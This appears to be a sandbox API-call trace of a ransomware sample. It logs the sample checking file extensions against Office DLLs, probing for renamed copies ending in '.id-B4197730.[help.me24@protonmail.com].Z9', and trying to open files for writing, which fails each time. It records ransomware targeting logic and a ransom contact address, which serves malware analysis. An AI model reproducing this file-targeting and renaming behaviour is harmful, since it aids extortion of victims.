	[0169.117] lstrlenW (lpString=".zip") returned 4
	[0169.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString=".rar") returned 4
	[0169.117] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString=".bz2") returned 4
	[0169.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.117] lstrlenW (lpString=".7z") returned 3
	[0169.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.117] lstrlenW (lpString=".dbf") returned 4
	[0169.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.117] lstrlenW (lpString=".1cd") returned 4
	[0169.118] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.118] lstrlenW (lpString=".jpg") returned 4
	[0169.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.118] lstrlenW (lpString=".doc") returned 4
	[0169.118] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString=".docx") returned 5
	[0169.118] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.118] lstrlenW (lpString=".pdf") returned 4
	[0169.118] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString=".xls") returned 4
	[0169.118] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString=".xlsx") returned 5
	[0169.118] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.118] lstrlenW (lpString=".ppt") returned 4
	[0169.118] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.118] lstrlenW (lpString=".zip") returned 4
	[0169.118] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString=".rar") returned 4
	[0169.118] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.118] lstrlenW (lpString=".bz2") returned 4
	[0169.118] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.118] lstrlenW (lpString=".7z") returned 3
	[0169.118] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.119] lstrlenW (lpString=".dbf") returned 4
	[0169.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.119] lstrlenW (lpString=".1cd") returned 4
	[0169.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.119] lstrlenW (lpString=".jpg") returned 4
	[0169.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.119] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.119] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0169.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.121] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=18624) returned 1
	[0169.121] CloseHandle (hObject=0x4a8) returned 1
	[0169.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0169.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.121] lstrlenW (lpString=".doc") returned 4
	[0169.121] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.121] lstrlenW (lpString=".docx") returned 5
	[0169.121] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.122] lstrlenW (lpString=".pdf") returned 4
	[0169.122] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.122] lstrlenW (lpString=".xls") returned 4
	[0169.122] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.122] lstrlenW (lpString=".xlsx") returned 5
	[0169.122] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.122] lstrlenW (lpString=".ppt") returned 4
	[0169.122] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.122] lstrlenW (lpString=".zip") returned 4
	[0169.122] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.122] lstrlenW (lpString=".rar") returned 4
	[0169.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.122] lstrlenW (lpString=".bz2") returned 4
	[0169.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.122] lstrlenW (lpString=".7z") returned 3
	[0169.122] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.122] lstrlenW (lpString=".dbf") returned 4
	[0169.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.122] lstrlenW (lpString=".1cd") returned 4
	[0169.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.122] lstrlenW (lpString=".jpg") returned 4
	[0169.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.123] lstrlenW (lpString=".doc") returned 4
	[0169.123] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString=".docx") returned 5
	[0169.123] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.123] lstrlenW (lpString=".pdf") returned 4
	[0169.123] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString=".xls") returned 4
	[0169.123] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString=".xlsx") returned 5
	[0169.123] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.123] lstrlenW (lpString=".ppt") returned 4
	[0169.123] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.123] lstrlenW (lpString=".zip") returned 4
	[0169.123] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString=".rar") returned 4
	[0169.123] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.123] lstrlenW (lpString=".bz2") returned 4
	[0169.123] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.123] lstrlenW (lpString=".7z") returned 3
	[0169.123] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.123] lstrlenW (lpString=".dbf") returned 4
	[0169.123] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.123] lstrlenW (lpString=".1cd") returned 4
	[0169.123] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0169.124] lstrlenW (lpString=".jpg") returned 4
	[0169.124] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.124] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.124] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0169.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.146] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=21184) returned 1
	[0169.146] CloseHandle (hObject=0x4f0) returned 1
	[0169.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0169.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.578] lstrlenW (lpString=".doc") returned 4
	[0169.578] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.578] lstrlenW (lpString=".docx") returned 5
	[0169.578] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.578] lstrlenW (lpString=".pdf") returned 4
	[0169.579] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString=".xls") returned 4
	[0169.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString=".xlsx") returned 5
	[0169.579] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.579] lstrlenW (lpString=".ppt") returned 4
	[0169.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString=".zip") returned 4
	[0169.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString=".rar") returned 4
	[0169.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString=".bz2") returned 4
	[0169.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.579] lstrlenW (lpString=".7z") returned 3
	[0169.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString=".dbf") returned 4
	[0169.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString=".1cd") returned 4
	[0169.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString=".jpg") returned 4
	[0169.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.579] lstrlenW (lpString=".doc") returned 4
	[0169.579] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString=".docx") returned 5
	[0169.580] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.580] lstrlenW (lpString=".pdf") returned 4
	[0169.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString=".xls") returned 4
	[0169.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString=".xlsx") returned 5
	[0169.580] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.580] lstrlenW (lpString=".ppt") returned 4
	[0169.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.580] lstrlenW (lpString=".zip") returned 4
	[0169.580] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString=".rar") returned 4
	[0169.580] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.580] lstrlenW (lpString=".bz2") returned 4
	[0169.580] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.580] lstrlenW (lpString=".7z") returned 3
	[0169.580] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.580] lstrlenW (lpString=".dbf") returned 4
	[0169.580] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.580] lstrlenW (lpString=".1cd") returned 4
	[0169.580] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0169.581] lstrlenW (lpString=".jpg") returned 4
	[0169.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.581] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.581] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0169.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.656] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19648) returned 1
	[0169.656] CloseHandle (hObject=0x520) returned 1
	[0169.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0169.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.658] lstrlenW (lpString=".doc") returned 4
	[0169.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.658] lstrlenW (lpString=".docx") returned 5
	[0169.658] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.658] lstrlenW (lpString=".pdf") returned 4
	[0169.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.658] lstrlenW (lpString=".xls") returned 4
	[0169.658] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.658] lstrlenW (lpString=".xlsx") returned 5
	[0169.658] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.658] lstrlenW (lpString=".ppt") returned 4
	[0169.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString=".zip") returned 4
	[0169.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString=".rar") returned 4
	[0169.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString=".bz2") returned 4
	[0169.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.659] lstrlenW (lpString=".7z") returned 3
	[0169.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString=".dbf") returned 4
	[0169.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString=".1cd") returned 4
	[0169.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString=".jpg") returned 4
	[0169.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.659] lstrlenW (lpString=".doc") returned 4
	[0169.659] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString=".docx") returned 5
	[0169.659] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.659] lstrlenW (lpString=".pdf") returned 4
	[0169.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString=".xls") returned 4
	[0169.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.659] lstrlenW (lpString=".xlsx") returned 5
	[0169.659] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.659] lstrlenW (lpString=".ppt") returned 4
	[0169.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.660] lstrlenW (lpString=".zip") returned 4
	[0169.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.660] lstrlenW (lpString=".rar") returned 4
	[0169.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.660] lstrlenW (lpString=".bz2") returned 4
	[0169.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.660] lstrlenW (lpString=".7z") returned 3
	[0169.660] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.660] lstrlenW (lpString=".dbf") returned 4
	[0169.660] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.660] lstrlenW (lpString=".1cd") returned 4
	[0169.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0169.660] lstrlenW (lpString=".jpg") returned 4
	[0169.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.660] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.660] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0169.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.661] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22720) returned 1
	[0169.661] CloseHandle (hObject=0x520) returned 1
	[0169.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220
	[0169.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.661] lstrlenW (lpString=".doc") returned 4
	[0169.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.661] lstrlenW (lpString=".docx") returned 5
	[0169.661] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.661] lstrlenW (lpString=".pdf") returned 4
	[0169.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.661] lstrlenW (lpString=".xls") returned 4
	[0169.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".xlsx") returned 5
	[0169.662] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.662] lstrlenW (lpString=".ppt") returned 4
	[0169.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.662] lstrlenW (lpString=".zip") returned 4
	[0169.662] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".rar") returned 4
	[0169.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".bz2") returned 4
	[0169.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.662] lstrlenW (lpString=".7z") returned 3
	[0169.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.662] lstrlenW (lpString=".dbf") returned 4
	[0169.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.662] lstrlenW (lpString=".1cd") returned 4
	[0169.662] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.662] lstrlenW (lpString=".jpg") returned 4
	[0169.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
